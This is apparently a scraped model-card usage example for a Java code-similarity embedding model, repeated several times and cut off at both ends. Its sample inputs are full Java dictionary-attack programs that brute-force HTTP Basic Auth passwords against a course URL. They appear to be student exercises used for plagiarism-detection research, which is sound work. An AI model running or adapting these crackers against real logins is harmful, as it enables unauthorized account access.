(FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n 